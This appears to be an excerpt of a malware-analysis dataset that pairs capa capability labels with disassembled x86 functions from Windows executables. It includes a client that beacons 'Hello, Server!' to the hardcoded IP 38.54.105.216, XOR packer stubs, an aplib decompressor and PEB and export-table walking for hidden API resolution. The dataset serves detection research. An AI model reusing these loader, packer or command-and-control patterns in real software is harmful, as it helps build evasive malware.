joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44ed60
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
mov eax, dword [0x5edb24]
xor eax, esp
mov dword [esp + 0x28], eax
mov eax, dword [ebp + 0xc]
lea edx, [esp + 4]
push ebx
push esi
push edi
push edx
lea edx, [esp + 0x18]
mov dword [esp + 0x1c], 0
push edx
mov edi, ecx
mov dword [esp + 0x24], 1
mov ecx, dword [ebp + 8]
xorps xmm0, xmm0
push eax
push ecx
movlpd qword [esp + 0x34], xmm0
movlpd qword [esp + 0x3c], xmm0
mov dword [esp + 0x30], 6
mov dword [esp + 0x24], 1
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x44ee29
mov eax, dword [edi]
cmp eax, 0xffffffff
je 0x44edd8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], 0xffffffff
mov esi, dword [esp + 0x10]
test esi, esi
je 0x44ee22
mov ebx, dword [sym.imp.WS2_32.dll_WSAConnect]
push 0
push 0
push 0
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_WSASocketW]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x44ee17
push 0
push 0
push 0
push 0
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call ebx
test eax, eax
je 0x44ee40
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x44ede6
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x28]
xor ecx, esp
call fcn.0054fc49
mov esp, ebp
pop ebp
ret 8
push dword [esp + 0x10]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, dword [edi]
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0054fc49
mov esp, ebp
pop ebp
ret 8
Function at 0x452a70
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57711d
mov eax, dword fs:[0]
push eax
sub esp, 0x1bc
mov eax, dword [0x5edb24]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.ws2_32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.WSAStartup
push eax
mov dword [ebp - 0x1c8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x1b8]
push ecx
push 0x202
call eax
push 0
test eax, eax
je 0x452ad5
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
call fcn.00457c90
push 0x48
call fcn.0054fe59
mov esi, eax
add esp, 0xc
mov ecx, esi
call fcn.00452cf0
push 0x48
push 0
push esi
call fcn.005519b0
add esp, 0xc
mov ecx, esi
call fcn.00452ca0
push 0x400
mov esi, eax
call fcn.0054fe97
add esp, 4
mov edi, eax
mov ecx, str.38.54.105.216
mov dword [ebp - 0x1c0], edi
call fcn.00452970
xor bl, bl
mov eax, 1
mov dword [ebp - 0x1bc], eax
cmp byte [esi + 0x44], bl
je 0x452c69
nop dword [eax]
test bl, bl
jne 0x452b67
push 0x5ee5e8
push str.38.54.105.216
mov ecx, esi
call fcn.00449f40
test al, al
je 0x452c4e
mov bl, 1
mov al, bl
mov dword [ebp - 0x1bc], eax
test al, al
je 0x452be1
push str.Hello__Server_
lea ecx, [ebp - 0x28]
call fcn.0044c300
mov dword [ebp - 4], 0
mov edi, dword [esi + 0x40]
test edi, edi
jne 0x452b9b
push ecx
mov edx, str.sslSocket_is_NULL_
call fcn.00451f00
mov ecx, eax
call fcn.00451d30
mov edi, dword [esi + 0x40]
lea ecx, [ebp - 0x28]
call fcn.0044c290
push eax
lea ecx, [ebp - 0x28]
call fcn.0044c2a0
push eax
push edi
call fcn.004555b0
mov ecx, dword [ebp - 0x1bc]
xor edx, edx
add esp, 0xc
movzx ecx, cl
test eax, eax
mov dword [ebp - 4], 0xffffffff
cmovg ecx, edx
mov dword [ebp - 0x1bc], ecx
lea ecx, [ebp - 0x28]
call fcn.0044c2b0
mov edi, dword [ebp - 0x1c0]
push 0x400
push 0
push edi
call fcn.005519b0
push 0x3ff
push edi
push dword [esi + 0x40]
call fcn.00454f90
add esp, 0x18
test eax, eax
jle 0x452c2d
mov ecx, edi
call fcn.0044e120
mov dword [ebp - 0x1c4], eax
mov ecx, esi
lea eax, [ebp - 0x1c4]
push eax
call fcn.004499f0
test al, al
jne 0x452c4e
mov ecx, esi
call fcn.0044ad80
xor bl, bl
jmp 0x452c59
push eax
push dword [esi + 0x40]
call fcn.004547f0
add esp, 8
cmp eax, 2
je 0x452c4e
cmp eax, 3
je 0x452c4e
mov ecx, esi
call fcn.0044ad80
xor bl, bl
jmp 0x452c59
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [esi + 0x44], 0
mov eax, dword [ebp - 0x1bc]
jne 0x452b40
push 0x8000
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call edi
push 0x8000
push 0
push esi
call edi
push dword [ebp - 0x1c8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x47e630
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x98
call fcn.00550120
mov eax, dword [0x5edb24]
xor eax, esp
mov dword [esp + 0x94], eax
mov eax, dword [esp + 0x9c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0xa0]
push ebx
push edi
mov edi, dword [esp + 0xac]
xor ebx, ebx
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
sub ecx, edi
mov dword [esp + 0x10], ecx
cmp edx, edi
jb 0x47e7f0
cmp edi, 0x40
ja 0x47e7f0
lea eax, [esp + 0x1c]
neg eax
lea ecx, [esp + 0x1c]
and eax, 0x3f
add ecx, eax
lea eax, [edi + 0x100]
mov dword [esp + 0xc], ecx
cmp edx, eax
jbe 0x47e6a9
mov ebx, edx
sub ebx, edi
sub ebx, 0x100
push ebp
push esi
push edi
xor esi, esi
mov dword [esp + 0x20], 0
push esi
push ecx
call fcn.005519b0
mov eax, dword [esp + 0xbc]
add esp, 0xc
xor ebp, ebp
cmp ebx, dword [eax + 0xc]
jae 0x47e76c
mov ecx, ebx
sub ecx, dword [eax + 8]
mov dword [esp + 0x10], ecx
nop dword [eax + eax]
mov edi, dword [esp + 0xb0]
mov eax, ebx
xor eax, dword [esp + 0x18]
lea edx, [eax - 1]
not eax
shr eax, 0x1f
shr edx, 0x1f
and edx, eax
mov eax, dword [esp + 0xb0]
neg edx
xor ecx, dword [eax + 8]
mov eax, ebx
xor eax, dword [edi + 8]
or ecx, eax
mov eax, edx
or eax, dword [esp + 0x1c]
xor ecx, ebx
shr ecx, 0x1f
and edx, ebp
neg ecx
or esi, edx
mov edx, dword [esp + 0x14]
and ecx, eax
mov eax, dword [edi + 0x14]
mov edi, dword [esp + 0xb4]
mov dword [esp + 0x1c], ecx
mov al, byte [eax + ebx]
inc ebx
and al, cl
or byte [edx + ebp], al
inc ebp
mov ecx, ebp
mov eax, ebp
sub ecx, edi
xor eax, edi
xor ecx, edi
or ecx, eax
mov eax, dword [esp + 0xb0]
xor ecx, ebp
shr ecx, 0x1f
neg ecx
and ebp, ecx
mov ecx, dword [esp + 0x10]
inc ecx
mov dword [esp + 0x10], ecx
cmp ebx, dword [eax + 0xc]
jb 0x47e6e0
jmp 0x47e770
mov edx, dword [esp + 0x14]
xor ebp, ebp
test edi, edi
je 0x47e7d2
mov eax, esi
and eax, 0xffffffdf
mov bl, byte [eax + edx]
mov eax, esi
or eax, 0x20
mov dl, byte [eax + edx]
mov eax, esi
and eax, 0x20
inc esi
dec eax
shr eax, 0x1f
neg al
movzx eax, al
mov dword [esp + 0x10], eax
not eax
mov dword [esp + 0x18], eax
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
and cl, dl
mov edx, dword [esp + 0x14]
and al, bl
or al, cl
mov ecx, dword [esp + 0x20]
mov byte [ecx + ebp], al
mov ecx, esi
sub ecx, edi
mov eax, esi
xor ecx, edi
xor eax, edi
or ecx, eax
inc ebp
xor ecx, esi
shr ecx, 0x1f
neg ecx
and esi, ecx
cmp ebp, edi
jb 0x47e776
pop esi
pop ebp
pop edi
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x94]
xor ecx, esp
call fcn.0054fc49
add esp, 0x98
ret
mov ecx, dword [esp + 0x9c]
xor eax, eax
pop edi
pop ebx
xor ecx, esp
call fcn.0054fc49
add esp, 0x98
ret
Function at 0x48f5b0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov eax, 4
call fcn.00550120
push edi
mov edi, dword [esp + 0xc]
xor eax, eax
mov dword [esp + 4], eax
test edi, edi
je 0x48f630
mov cl, byte [edi]
test cl, cl
je 0x48f630
push ebx
push esi
mov ebx, 0x100
nop word [eax + eax]
movd xmm1, dword [esp + 0xc]
lea edi, [edi + 1]
movsx esi, cl
mov edx, 0x20
or esi, ebx
add ebx, 0x100
mov ecx, esi
shr ecx, 2
xor ecx, esi
imul esi, esi
and ecx, 0xf
sub edx, ecx
shl eax, cl
mov cl, byte [edi]
movd xmm0, edx
psrlq xmm1, xmm0
movd edx, xmm1
or eax, edx
xor eax, esi
mov dword [esp + 0xc], eax
test cl, cl
jne 0x48f5e0
mov ecx, eax
pop esi
shr ecx, 0x10
pop ebx
xor eax, ecx
pop edi
pop ecx
ret
xor eax, eax
pop edi
pop ecx
ret

Function at 0x48f6d0
Capabilities:
Encode data using xor

Disassembly:
mov eax, 4
call fcn.00550120
push ebx
mov ebx, dword [esp + 0xc]
push esi
xor esi, esi
mov dword [esp + 8], esi
test ebx, ebx
je 0x48f753
mov al, byte [ebx]
test al, al
je 0x48f753
push ebp
push edi
mov ebp, 0x100
movsx eax, al
push eax
call fcn.004bcf70
movd xmm1, dword [esp + 0x14]
lea ebx, [ebx + 1]
mov edi, eax
mov edx, 0x20
or edi, ebp
add esp, 4
mov ecx, edi
add ebp, 0x100
shr ecx, 2
xor ecx, edi
imul edi, edi
and ecx, 0xf
sub edx, ecx
shl esi, cl
movd xmm0, edx
psrlq xmm1, xmm0
movd eax, xmm1
or esi, eax
mov al, byte [ebx]
xor esi, edi
mov dword [esp + 0x10], esi
test al, al
jne 0x48f6f7
mov eax, esi
pop edi
shr eax, 0x10
pop ebp
xor eax, esi
pop esi
pop ebx
pop ecx
ret
pop esi
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x4b8ef0
Capabilities:
Resolve dns

Disassembly:
mov eax, 0x20
call fcn.00550120
push esi
mov esi, dword [esp + 0x34]
mov eax, esi
sub eax, 0
je 0x4b8f35
sub eax, 2
je 0x4b8f35
sub eax, 0x15
je 0x4b8f35
push 0x297
push str.crypto_bio_b_addr.c
push 0x83
push 0x8f
push 0x20
call fcn.004901c0
add esp, 0x14
xor eax, eax
pop esi
add esp, 0x20
ret
call fcn.004bcbe0
cmp eax, 1
jne 0x4b8f2e
mov eax, dword [esp + 0x38]
xor ecx, ecx
push ebx
mov ebx, dword [esp + 0x2c]
xorps xmm0, xmm0
push ebp
push edi
xor edi, edi
mov dword [esp + 0x10], ecx
movlpd qword [esp + 0x20], xmm0
movlpd qword [esp + 0x28], xmm0
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], ecx
test ebx, ebx
je 0x4b8f7f
test esi, esi
jne 0x4b8f7f
or ecx, 0x400
mov dword [esp + 0x10], ecx
cmp dword [esp + 0x3c], 1
jne 0x4b8f8d
or ecx, 1
mov dword [esp + 0x10], ecx
mov ebp, dword [esp + 0x48]
lea eax, [esp + 0x10]
push ebp
push eax
push dword [esp + 0x40]
push ebx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, eax
test esi, esi
je 0x4b8fdf
cmp esi, 8
je 0x4b9024
mov ecx, dword [esp + 0x10]
test ecx, 0x400
je 0x4b8fec
push ebp
lea eax, [esp + 0x14]
and ecx, 0xfffffbff
push eax
push dword [esp + 0x40]
or ecx, 4
mov edi, esi
push ebx
mov dword [esp + 0x20], ecx
call dword [sym.imp.WS2_32.dll_getaddrinfo]
mov esi, eax
test esi, esi
jne 0x4b8fa8
mov eax, 1
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x20
ret
push 0x2da
push str.crypto_bio_b_addr.c
push 2
push 0x8f
push 0x20
call fcn.004901c0
test edi, edi
cmovne esi, edi
push esi
call fcn.004b9430
push eax
push 1
call fcn.0048f7c0
add esp, 0x20
xor eax, eax
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x20
ret
push 0x2cb
push str.crypto_bio_b_addr.c
push 0x41
push 0x8f
push 0x20
call fcn.004901c0
add esp, 0x14
xor eax, eax
pop edi
pop ebp
pop ebx
pop esi
add esp, 0x20
ret
Function at 0x4e1c20
Capabilities:
Encode data using xor

Disassembly:
cmp dword [esp + 0x18], 0
je 0x4e1c34
mov dword [esp + 0x18], fcn.004e0400
jmp fcn.004d9750
mov dword [esp + 0x18], fcn.004df6a0
jmp fcn.004d9450
Function at 0x568869
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.005686df

Function at 0x56f435
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0056ef88
Function at 0x42e002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x42cf5400
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x67c02d33
test eax, eax
nop
nop
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x1bd40b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.01bd4200
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1bd40d6
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1bd40c2
add dl, dl
jne 0x1bd40e1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1bd4134
xor eax, eax
add dl, dl
jne 0x1bd40ee
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1bd41d5
add dl, dl
jne 0x1bd40fd
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bd4108
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bd4113
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bd411e
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x1bd412a
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x1bd40cd
mov eax, 1
add dl, dl
jne 0x1bd4142
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1bd414d
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1bd4139
sub eax, ebx
mov ebx, 1
jne 0x1bd4180
mov ecx, 1
add dl, dl
jne 0x1bd4166
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1bd4171
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1bd415d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1bd40cd
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1bd4197
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1bd41a2
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x1bd418e
cmp eax, 0x7d00
jae 0x1bd41c5
cmp eax, 0x500
jb 0x1bd41c0
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1bd40cd
cmp eax, 0x7f
ja 0x1bd41c8
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x1bd40cd
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1bd41f6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x1bd40cd
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40d85e
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x4015a0
Capabilities:
Terminate process

Disassembly:
call fcn.00401940
jmp fcn.004012d0

Function at 0x4015b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x403008]
jne 0x4015ba
repz ret
jmp fcn.004019f0
Function at 0x42a51e
Capabilities:
Enumerate pe sections

Disassembly:
push esi
mov esi, ecx
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x42a55a
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x42a552
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x42a55c
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x42a542
xor eax, eax
add byte [ebp - 0x333ca201], al
int3
Function at 0x10017780
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10038d18
push 0x10029151
mov eax, dword fs:[0]
push eax
sub esp, 0x30
mov eax, dword [0x1003d014]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x28], 0
xor esi, esi
mov dword [ebp - 0x3c], esi
mov dword [ebp - 0x2c], esi
xor ebx, ebx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x24], ebx
mov word [ebp - 0x20], 0x100
mov eax, dword [ecx]
mov edi, dword [eax + 0x28]
mov dword [ebp - 0x40], edi
test edi, edi
jne 0x100177e9
xor eax, eax
jmp 0x1001795f
mov dword [ebp - 4], ebx
push str.InitializeSecurityDescriptor
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001792a
push 1
push dword [ebp - 0x34]
call eax
test eax, eax
je 0x1001792a
push str.AllocateAndInitializeSid
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001792a
lea ecx, [ebp - 0x28]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea ecx, [ebp - 0x24]
push ecx
call eax
test eax, eax
je 0x1001792a
push str.GetLengthSid
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001792a
push dword [ebp - 0x28]
call eax
add eax, 0x10
mov dword [ebp - 0x30], eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp - 0x3c], esi
test esi, esi
je 0x1001792a
push str.InitializeAcl
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001792a
push 2
push dword [ebp - 0x30]
push esi
call eax
test eax, eax
je 0x1001792a
push str.AddAccessAllowedAce
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1001792a
push dword [ebp - 0x28]
push 0x10000000
push 2
push esi
call eax
test eax, eax
je 0x1001792a
push str.SetSecurityDescriptorDacl
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], eax
test eax, eax
je 0x1001792a
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10017913
push 0
push ecx
push 1
push dword [ebp - 0x34]
call eax
test eax, eax
je 0x10017900
mov ebx, 1
mov dword [ebp - 0x38], ebx
cmp dword [ebp - 0x2c], 0
je 0x10017910
jmp 0x1001792a
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x30]
push 0
push esi
push 1
push dword [ebp - 0x34]
call eax
mov ecx, 1
test eax, eax
cmovne ebx, ecx
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], 0xfffffffe
call fcn.10017986
test ebx, ebx
jne 0x1001795d
test esi, esi
je 0x1001794f
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x1001795d
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, esi
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10028d8e
mov esp, ebp
pop ebp
ret 0xc
Function at 0x4018d5
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov ebx, dword [ebp + 8]
cmp ebx, 0
je 0x40191a
mov eax, dword [ebx + 0x3c]
add eax, ebx
mov edx, dword [eax + 0x78]
add edx, ebx
mov ecx, dword [edx + 0x18]
mov eax, dword [edx + 0x20]
push ecx
push ecx
push eax
xor eax, eax
or ecx, 0xffffffff
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
repne scasb al, byte es:[edi]
not ecx
pop eax
push ecx
mov edi, dword [ebp + 0xc]
mov edi, dword [edi]
mov esi, dword [eax + ebx]
add esi, ebx
repe cmpsb byte [esi], byte es:[edi]
pop ecx
je 0x401920
add eax, 4
pop esi
dec esi
push esi
jne 0x401902
xor eax, eax
leave
ret 8
pop esi
pop ecx
sub ecx, esi
mov eax, dword [edx + 0x24]
lea eax, [eax + ecx*2]
movzx eax, word [eax + ebx]
mov ecx, dword [edx + 0x1c]
lea eax, [ecx + eax*4]
mov eax, dword [eax + ebx]
add eax, ebx
leave
ret 8
Function at 0x402332
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 8
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x1c]
test edi, edi
je 0x402407
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x402407
mov eax, dword [edi + 0x3c]
cmp dword [eax + edi + 0x7c], 0
je 0x402407
mov eax, dword [eax + edi + 0x78]
add eax, edi
mov ecx, ebx
mov esi, dword [eax + 0x1c]
sub ecx, dword [eax + 0x10]
mov edx, dword [eax + 0x14]
add esi, edi
mov dword [esp + 0x14], esi
mov dword [esp + 0x20], edx
cmp ecx, edx
ja 0x40238d
mov eax, dword [esi + ecx*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
mov edx, dword [eax + 0x20]
mov ecx, dword [eax + 0x24]
mov ebp, dword [eax + 0x18]
add edx, edi
add ecx, edi
xor esi, esi
mov dword [esp + 0x10], edx
mov dword [esp + 0x1c], ecx
test ebp, ebp
je 0x402407
mov eax, dword [edx + esi*4]
add eax, edi
mov ecx, ebx
lea ecx, [ecx]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x4023d2
test dl, dl
je 0x4023ce
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x4023d2
add ecx, 2
add eax, 2
test dl, dl
jne 0x4023b2
xor eax, eax
jmp 0x4023d7
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4023e9
mov eax, dword [esp + 0x1c]
movzx eax, word [eax + esi*2]
cmp eax, dword [esp + 0x20]
jbe 0x4023f4
inc esi
cmp esi, ebp
jae 0x402407
mov edx, dword [esp + 0x10]
jmp 0x4023a8
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx + eax*4]
add eax, edi
pop edi
pop esi
pop ebp
pop ebx
add esp, 8
ret 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 8
ret 8

Function at 0x40266b
Capabilities:
Parse pe header

Disassembly:
mov ecx, dword [esp + 4]
test ecx, ecx
jne 0x402676
xor eax, eax
ret
push esi
mov esi, dword [esp + 0xc]
cmp esi, 0x40
jb 0x40268a
mov eax, 0x5a4d
cmp word [ecx], ax
je 0x40268e
xor eax, eax
pop esi
ret
push edi
mov edi, dword [ecx + 0x3c]
lea eax, [edi + 0xf8]
cmp esi, eax
jb 0x4026c7
cmp dword [edi + ecx], 0x4550
jne 0x4026c7
mov eax, 0x14c
cmp word [edi + ecx + 4], ax
jne 0x4026c7
test byte [edi + ecx + 0x16], 2
je 0x4026c7
movzx eax, word [edi + ecx + 0x14]
mov edx, 0xe0
cmp ax, dx
jae 0x4026cc
pop edi
xor eax, eax
pop esi
ret
push ebx
add eax, 0xffffff20
movzx ebx, ax
add ebx, edi
movzx edi, word [edi + ecx + 6]
add ebx, ecx
xor edx, edx
test edi, edi
jle 0x402708
xor eax, eax
jmp 0x4026eb
lea eax, [eax + eax*4]
mov ecx, dword [ebx + eax*8 + 0x10c]
add ecx, dword [ebx + eax*8 + 0x108]
cmp ecx, esi
ja 0x402711
inc edx
movzx eax, dx
cmp eax, edi
jl 0x4026eb
pop ebx
pop edi
mov eax, 1
pop esi
ret
pop ebx
pop edi
xor eax, eax
pop esi
ret
Function at 0x402717
Capabilities:
Access peb ldr_data

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov dword [esp + 0x10], eax
mov ebp, dword [esp + 0x10]
mov edi, dword [ebp + 0x30]
mov esi, dword [esp + 0x18]
movzx ebx, word [esi]
mov eax, ebx
lea ecx, [eax - 0x41]
cmp ecx, 0x19
ja 0x40274f
add eax, 0x20
movzx edx, word [edi]
lea ecx, [edx - 0x41]
cmp ecx, 0x19
ja 0x40275d
add edx, 0x20
cmp eax, edx
jne 0x40276e
test bx, bx
je 0x4027a3
add esi, 2
add edi, 2
jmp 0x40273f
movzx ecx, word [esi]
lea eax, [ecx - 0x41]
cmp eax, 0x19
ja 0x40277c
add ecx, 0x20
movzx edx, word [edi]
lea eax, [edx - 0x41]
cmp eax, 0x19
ja 0x40278a
add edx, 0x20
sub ecx, edx
je 0x4027a3
mov ebp, dword [ebp]
mov dword [esp + 0x10], ebp
cmp dword [ebp + 0x18], 0
jne 0x402738
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x40321c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
push ebx
sub esp, 0x10
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x24]
mov ecx, dword [edx]
test eax, eax
je 0x4032dd
test ecx, ecx
je 0x4032dd
mov ebx, dword [eax + 0x3c]
mov edx, dword [ebx + eax + 0x78]
mov ebx, dword [ebx + eax + 0x7c]
test edx, edx
je 0x4032dd
test ebx, ebx
je 0x4032dd
mov ebx, eax
add ebx, edx
je 0x4032dd
mov esi, dword [edx + eax + 0x18]
test esi, esi
je 0x4032dd
cmp dword [edx + eax + 0x14], 0
je 0x4032dd
mov edi, dword [edx + eax + 0x20]
mov ebx, dword [edx + eax + 0x24]
add edi, eax
mov edx, dword [edx + eax + 0x1c]
add ebx, eax
add edx, eax
test esi, esi
jbe 0x4032dd
mov dword [esp], edx
xor ebp, ebp
mov dword [esp + 0xc], edi
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov eax, dword [esp + 0xc]
mov edi, dword [esp + 8]
movzx ecx, word [ebx + ebp*2]
mov esi, dword [eax + ebp*4]
add esi, dword [esp + 0x24]
mov dl, byte [edi]
cmp dl, byte [esi]
jne 0x4032cd
test dl, dl
je 0x4032c9
mov dl, byte [edi + 1]
cmp dl, byte [esi + 1]
jne 0x4032cd
add edi, 2
add esi, 2
test dl, dl
jne 0x4032ad
xor eax, eax
jmp 0x4032d2
sbb eax, eax
or eax, 1
test eax, eax
je 0x4032e9
inc ebp
